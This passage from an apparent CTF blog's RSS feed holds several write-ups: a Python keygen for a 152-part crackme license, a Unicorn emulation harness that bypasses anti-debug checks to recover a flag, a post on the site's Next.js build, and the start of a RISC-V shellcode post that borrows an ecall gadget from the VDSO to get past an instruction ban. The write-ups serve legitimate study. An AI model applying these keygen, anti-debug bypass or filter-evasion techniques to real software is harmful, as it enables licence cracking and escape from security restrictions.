<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$ printf </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">'ZZB\n7626\n3960\n'</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> |</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> ./UltimateBoss.exe</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">[+] Access Granted!</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">[+] Message: Wow you did it!</span></span></code></pre>
<h2 id="boss-2-the-152-part-license">Boss 2: the 152-part license<a class="anchor" aria-hidden="true" tabindex="-1" href="#boss-2-the-152-part-license">#</a></h2>
<p>The <em>real</em> final boss asks for a username and then <strong>152 numbers</strong>:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span>…ULTIMATE 152-Part LICENSE CHECK</span></span>
<span class="line"><span>Enter Username: Enter Part 1: … Enter Part 152:</span></span></code></pre>
<p>It reuses the same anti-debug stopwatch and the same jump-table VM shape. Recognising that made it an extension of the last level rather than a fresh reverse. Decoding the new tables:</p>
<table>
<thead>
<tr>
<th align="left">State</th>
<th align="left">Check</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">0</td>
<td align="left">username isn't empty, and exactly 152 parts</td>
</tr>
<tr>
<td align="left">1–2</td>
<td align="left"><code>Part[0] == sum(username bytes) × 31</code></td>
</tr>
<tr>
<td align="left">3–5</td>
<td align="left">for every <code>i</code> from 1 to 151, check <code>Part[i]</code> against <code>Part[i-1]</code></td>
</tr>
<tr>
<td align="left">6</td>
<td align="left">success</td>
</tr>
</tbody>
</table>
<p>The per-part check:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">lea</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">  r9d</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, [</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">rbx</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> + </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">0x1337</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">]       </span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">; i + 0x1337</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">imul</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> ecx</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">ebx</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">0x7b</span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">            ; i * 123</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">xor</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">  r9d</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, [</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">rdx</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> + </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">r8</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">*</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">4</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> - </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">4</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">]     </span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">; XOR Part[i-1]</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">add</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">  r9d</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">ecx</span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">                  ; + i*123</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">cmp</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  [</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">rdx</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> + </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">r8</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">*</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">4</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">], </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">r9d</span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">         ; must equal Part[i]</span></span></code></pre>
<p>So it's a <strong>chain</strong>:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span>Part[0] = sum(username_bytes) * 31</span></span>
<span class="line"><span>Part[i] = ((i + 0x1337) XOR Part[i-1]) + i*123      for i = 1..151</span></span></code></pre>
<p>152 numbers sounds terrifying, but every part is fully decided by the one before it. The whole license collapses to <strong>one free choice: the username</strong>.</p>
<h3 id="steering-the-last-link">Steering the last link<a class="anchor" aria-hidden="true" tabindex="-1" href="#steering-the-last-link">#</a></h3>
<p>Same final twist as before: the message key comes from the low byte of the <strong>last</strong> part, <code>Part[151]</code>. So I need a username whose 152-step chain happens to end on <code>0x78</code>:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">M </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 1</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> &#x3C;&#x3C;</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 32</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">def</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> chain</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(S):</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    p </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> [(S </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">*</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 31</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">) </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">%</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> M]</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    for</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> i </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">in</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> range</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">1</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">152</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">):</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">        p.append((((i </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">+</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> 0x</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">1337</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">) </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">^</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> p[i </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 1</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">]) </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">+</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> i </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">*</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 123</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">) </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">%</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> M)</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    return</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> p</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">S </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> next</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(s </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">for</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> s </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">in</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> range</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">1</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">100000</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">) </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">if</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> chain(s)[</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">151</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">] </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">&#x26;</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> 0x</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">FF</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> ==</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> 0x</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">78</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">)   </span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># → 41</span></span></code></pre>
<p>A byte-sum of <strong>41</strong> is a single character: <code>)</code>.</p>
<p>One last gotcha: the parts are read with <code>cin >> int</code>, a <strong>signed</strong> 32-bit integer. Any computed value of 2³¹ or more has to be typed as its negative two's-complement form, or the input stream fails halfway and the check quietly dies.</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$ python keygen.py </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">|</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> ./UltimateRealBoss.exe</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">[+] Access Granted!</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">[+] Message: Wow you did it!</span></span></code></pre>
<p>A one-character username and 152 numbers, and the series is done. 🏁</p>
<p>📂 Full walkthroughs for all 12 levels, with tables, addresses and keygens: <a href="https://github.com/MoriartyPuth/ctf-writeups/tree/main/reverse/crackmes-one/Lack-Level-Series-Lab">ctf-writeups/reverse/crackmes-one/Lack-Level-Series-Lab</a></p>]]></content:encoded>
    </item>
    <item>
      <title>Don't reverse the VM, just run it</title>
      <link>https://portfolio.puthcambo.workers.dev/blog/control-freak-3-unicorn/</link>
      <guid isPermaLink="true">https://portfolio.puthcambo.workers.dev/blog/control-freak-3-unicorn/</guid>
      <pubDate>Sat, 28 Nov 2026 00:00:00 GMT</pubDate>
      <description>A reversing challenge hides its password check inside a bytecode VM dispatched through a SIGTRAP handler. Instead of decoding it by hand, emulate it and watch which bytes each constraint touches.</description>
      <category>ctf</category>
      <category>reversing</category>
      <category>emulation</category>
      <category>unicorn</category>
      <content:encoded><![CDATA[<blockquote>
<p><strong>control freak 3</strong>, LYKN CTF 2026 (reversing)</p>
</blockquote>
<p>The checker in this one is deliberately horrible to read: a <strong>control-flow-flattened bytecode VM</strong>, dispatched through a <strong>SIGTRAP signal handler</strong> and an 8-entry jump table. It runs 5 rounds of bytecode (itself decrypted with SplitMix64) through 8 different hash-mixer opcodes, each built from xxHash, SHA and FNV constants, and folds everything into one accumulator.</p>
<p>You pass if, after all of that, the accumulator is <strong>zero</strong>.</p>
<h2 id="why-the-usual-tricks-fail">Why the usual tricks fail<a class="anchor" aria-hidden="true" tabindex="-1" href="#why-the-usual-tricks-fail">#</a></h2>
<p>Normally you'd attack a password check by watching where it gives up early, byte by byte. Not here:</p>
<ul>
<li>There's <strong>no early exit</strong>. Every byte gets hashed and OR'd into one accumulator, and the only comparison is a single <code>cmp ... , 0</code> at the very end. So a wrong byte looks exactly like a right one until the final check.</li>
<li>There's <strong>anti-debug</strong>: a timing loop and a <code>/proc/self/status</code> TracerPid check. If either trips, it corrupts a register that's supposed to be 0 in a clean run, quietly poisoning the result.</li>
</ul>
<p>So neither a native brute force nor a timing side-channel gets you anywhere.</p>
<h2 id="the-move-emulate-dont-decode">The move: emulate, don't decode<a class="anchor" aria-hidden="true" tabindex="-1" href="#the-move-emulate-dont-decode">#</a></h2>
<p>Statically unpacking 8 hash opcodes, plus the SplitMix64 bytecode decryption, plus the signal-handler dispatch, is a lot of surface area to get wrong. So I didn't. I ran the real validator inside <strong>Unicorn</strong>, the CPU emulator, and treated it as ground truth.</p>
<p>The harness:</p>
<ol>
<li>Maps the binary, stubs out the anti-debug calls (<code>ptrace</code> returns 0, <code>clock_gettime</code> is fixed, <code>/proc</code> reads hit EOF, the SIGTRAP clean-flag is pre-set), and patches the 0x50000-iteration timing loop down to a single iteration. Each run then takes about 0.01 seconds.</li>
<li>Traces every <code>or qword[rsp], reg</code> (the accumulation sites) and every read from the input buffer, so I learn <strong>which input bytes each constraint actually touches</strong>.</li>
</ol>
<p>I don't need to understand a single one of those hashes. I only need to know which bytes each one reads and whether it comes out zero.</p>
<h2 id="the-structure-falls-out">The structure falls out<a class="anchor" aria-hidden="true" tabindex="-1" href="#the-structure-falls-out">#</a></h2>
<p>Tracing the byte reads showed the constraints form a perfect <strong>triangle</strong>: every position <code>p</code> has a single-byte constraint on itself, plus multi-byte groups that all "close" at <code>p</code> (their highest byte index is <code>p</code>). That means I can solve <strong>left to right</strong>:</p>
<blockquote>
<p>For each position <code>p</code>, try every printable byte (32–126) and keep the one that makes every group closing at <code>p</code> evaluate to zero.</p>
</blockquote>
<p>Each position has exactly one solution, so the flag just falls out one character at a time:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$ ./chall-4 </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">'LYKNCTF{0UT_0F_C0NTR0L_VM2026}'</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Correct!</span></span></code></pre>
<p>One wrinkle worth noting: in the emulator the final accumulator keeps a small <code>0xff</code> residual (an anti-debug value that would be exactly 0 on real hardware), so <code>emu.run(flag)</code> prints <code>Nope</code>. That doesn't matter, because the solver keys on the 77 individual per-instruction group constraints all being zero, which they are, and the recovered flag then verifies on the real binary.</p>
<p>When a VM is this nasty to read, the fastest path is often to stop reading and start running it.</p>
<p>📂 Full writeup with the Unicorn harness and the triangular solver: <a href="https://github.com/MoriartyPuth/ctf-writeups/tree/main/reverse/lykn-ctf-2026/control%20freak%203">ctf-writeups/reverse/…/control freak 3</a></p>]]></content:encoded>
    </item>
    <item>
      <title>How this site is built</title>
      <link>https://portfolio.puthcambo.workers.dev/blog/building-this-site/</link>
      <guid isPermaLink="true">https://portfolio.puthcambo.workers.dev/blog/building-this-site/</guid>
      <pubDate>Sat, 28 Nov 2026 00:00:00 GMT</pubDate>
      <description>A quick tour under the hood of this portfolio — a static Next.js site, Markdown posts, and a pile of CSS tricks to make it look hand-drawn.</description>
      <category>meta</category>
      <category>web</category>
      <category>nextjs</category>
      <content:encoded><![CDATA[<p>You're looking at it. This post is a short tour of how the site you're reading is actually put together, from the framework down to the wobbly borders.</p>
<h2 id="the-stack">The stack<a class="anchor" aria-hidden="true" tabindex="-1" href="#the-stack">#</a></h2>
<p>It's a <strong>Next.js</strong> site, but a boring, reliable kind: everything is rendered once at build time and shipped as plain static HTML. No server, no database, nothing to keep running.</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">// next.config.ts</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">const</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> nextConfig</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> =</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> {</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  output: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"export"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">,       </span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">// → a folder of static HTML</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  trailingSlash: </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">true</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">,</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  images: { unoptimized: </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">true</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> },</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">};</span></span></code></pre>
<p>That <code>output: "export"</code> turns the whole thing into a folder I can drop on any static host. It's deployed on Cloudflare for free, and a <code>git push</code> is the entire publish step.</p>
<p>Styling is <strong>Tailwind CSS v4</strong>, and the fonts are <a href="https://fonts.google.com/specimen/Gochi+Hand">Gochi Hand</a> for headings and <a href="https://fonts.google.com/specimen/Kalam">Kalam</a> for body text, which do most of the "handwritten" work on their own.</p>
<h2 id="posts-are-just-markdown">Posts are just Markdown<a class="anchor" aria-hidden="true" tabindex="-1" href="#posts-are-just-markdown">#</a></h2>
<p>Every post, including this one, is a Markdown file in <code>content/blog/</code>. A small loader reads the folder, parses the front-matter, and renders the body with <a href="https://shiki.style">Shiki</a> for code highlighting.</p>
<p>The part I'm happiest with is that the front-matter is <strong>validated with <a href="https://zod.dev">zod</a></strong>, so a typo can't slip through:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">const</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> postSchema</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> =</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> z.</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">object</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">({</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  title: z.</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">string</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">().</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">min</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">2</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">),</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  description: z.</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">string</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">().</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">min</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">10</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">),</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  date: z.coerce.</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">date</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(),</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  tags: z.</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">array</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(z.</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">string</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">()).</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">default</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">([]),</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  featured: z.</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">boolean</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">().</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">default</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">false</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">),</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  draft: z.</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">boolean</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">().</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">default</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">false</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">),</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">});</span></span></code></pre>
<p>If I misspell a field or forget a date, the <strong>build fails loudly</strong> and tells me which file and which field. A broken post never makes it to the site. Posts marked <code>draft: true</code> show up while I'm writing locally but are left out of the published build.</p>
<h2 id="making-it-look-hand-drawn">Making it look hand-drawn<a class="anchor" aria-hidden="true" tabindex="-1" href="#making-it-look-hand-drawn">#</a></h2>
<p>None of the sketchy look is images — it's all CSS. A few of the tricks:</p>
<ul>
<li><strong>Graph paper</strong>: two repeating linear-gradients on the <code>body</code> background, one horizontal, one vertical.</li>
<li><strong>Wobbly borders</strong>: an asymmetric <code>border-radius</code> like <code>255px 15px 225px 15px / 15px 225px 15px 255px</code> makes a box look drawn by hand instead of a perfect rectangle.</li>
<li><strong>Highlighter marks</strong>: <code>&#x3C;mark></code> gets a slightly uneven linear-gradient background so it looks like a real marker swept across the text.</li>
<li><strong>Taped cards</strong>: the project and post cards are "paper" with a hard offset shadow and a little tape strip, tilted a degree or two.</li>
</ul>
<p>The emoji dotted around the place are all self-hosted from <a href="https://emoji.gg">emoji.gg</a>, so nothing depends on another site staying up.</p>
<h2 id="light-and-dark">Light and dark<a class="anchor" aria-hidden="true" tabindex="-1" href="#light-and-dark">#</a></h2>
<p>The whole theme is a set of <strong>CSS custom properties</strong> defined once, then redefined for dark mode. Every colour on the site is a token like <code>var(--ink)</code> or <code>var(--paper)</code>, so dark mode is just a second set of values — no component knows which theme it's in. It follows your system setting by default, and the toggle in the header overrides it.</p>
<h2 id="the-blog-machinery">The blog machinery<a class="anchor" aria-hidden="true" tabindex="-1" href="#the-blog-machinery">#</a></h2>
<p>A few things run themselves so I never have to touch them when I post:</p>
<ul>
<li><strong>Pagination</strong> at 8 posts per page, with the extra pages generated at build time.</li>
<li>An <strong>RSS feed</strong> at <a href="https://portfolio.puthcambo.workers.dev/blog/feed.xml"><code>/blog/feed.xml</code></a>, built from the same posts.</li>
<li>A sitemap and robots file.</li>
</ul>
<p>Add a Markdown file, push, and the list, pages, feed and sitemap all update on their own.</p>
<h2 id="credit-where-its-due">Credit where it's due<a class="anchor" aria-hidden="true" tabindex="-1" href="#credit-where-its-due">#</a></h2>
<p>The playful, notebook look is inspired by <a href="https://github.com/calebephrem/portfolio">calebephrem/portfolio</a> — rebuilt from scratch with my own design and code. The full list of tools, fonts and assets lives on the <a href="https://portfolio.puthcambo.workers.dev/credits/">credits page</a>.</p>
<p>That's the whole thing: static HTML, Markdown, and a lot of CSS pretending it can't draw a straight line.</p>]]></content:encoded>
    </item>
    <item>
      <title>Making a syscall when syscalls are banned</title>
      <link>https://portfolio.puthcambo.workers.dev/blog/golfing-riscv-vdso/</link>
      <guid isPermaLink="true">https://portfolio.puthcambo.workers.dev/blog/golfing-riscv-vdso/</guid>
      <pubDate>Sat, 28 Nov 2026 00:00:00 GMT</pubDate>
      <description>A RISC-V golf challenge bans the one instruction that can make a syscall. The way through is to borrow one the kernel already mapped into the process for you.</description>
      <category>ctf</category>
      <category>pwn</category>
      <category>riscv</category>
      <category>shellcode</category>
      <content:encoded><![CDATA[<blockquote>
<p><strong>Golfing</strong>, LYKN CTF 2026 (pwn / RISC-V)</p>
</blockquote>
<p>You connect and get one line:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span>Send your RISC-V ELF (base64):</span></span></code></pre>
<p>The service takes a RISC-V executable, runs a battery of checks on it, boots it inside a QEMU guest, and shows you whatever it prints. The flag is in <code>/flag.txt</code>. The checks are the whole challenge:</p>
<ul>
<li>the ELF has to be <strong>tiny</strong></li>
<li>its <code>.text</code> section is capped at <strong>113 bytes</strong></li>
<li><strong>no <code>ecall</code></strong> bytes anywhere in the file</li>
<li>no <code>ebreak</code> either, in either the normal or the compressed 16-bit form</li>
</ul>
<p>That <code>ecall</code> ban is the cruel part. On RISC-V, <code>ecall</code> is <em>the</em> instruction that makes a system call. There is no other one. Ban it from the file you send, and it looks like you simply can't ask the kernel to <code>open</code> or <code>read</code> the flag.</p>
<h2 id="the-idea-the-ban-is-only-on-your-file">The idea: the ban is only on your file<a class="anchor" aria-hidden="true" tabindex="-1" href="#the-idea-the-ban-is-only-on-your-file">#</a></h2>
<p>Here's the loophole. <code>ecall</code> has to be absent from <strong>your ELF</strong>. It does not have to be absent from the <strong>process</strong>.</p>
<p>Every Linux process gets a <strong>VDSO</strong> mapped in by the kernel: a small, real, executable chunk of kernel-supplied code. It's there to make certain calls fast, and it is genuinely part of your address space at runtime. The challenge's scanner only looks at the bytes of your <em>file</em>, and the VDSO was never in your file, so it never gets inspected.</p>
<p>And somewhere inside that VDSO sits exactly the gadget I need:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">ecall</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">ret</span></span></code></pre>
<p>If I jump into that with a <code>jalr</code>, it makes the syscall and the <code>ret</code> sends control right back to my code. That's a callable syscall function the validator can't see, because its bytes never touch my file.</p>
<h2 id="finding-the-vdso-with-no-syscalls-of-my-own">Finding the VDSO with no syscalls of my own<a class="anchor" aria-hidden="true" tabindex="-1" href="#finding-the-vdso-with-no-syscalls-of-my-own">#</a></h2>
<p>To use the gadget I need its address, which means finding where the VDSO is mapped. Normally you'd ask libc, but there's no libc here, just raw shellcode dropped at the entry point. No syscalls allowed yet either, so I can't ask the kernel directly.</p>
<p>The answer is already on the stack when the program starts. When the kernel hands a fresh process control, the stack looks like this from the top:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span>argc</span></span>
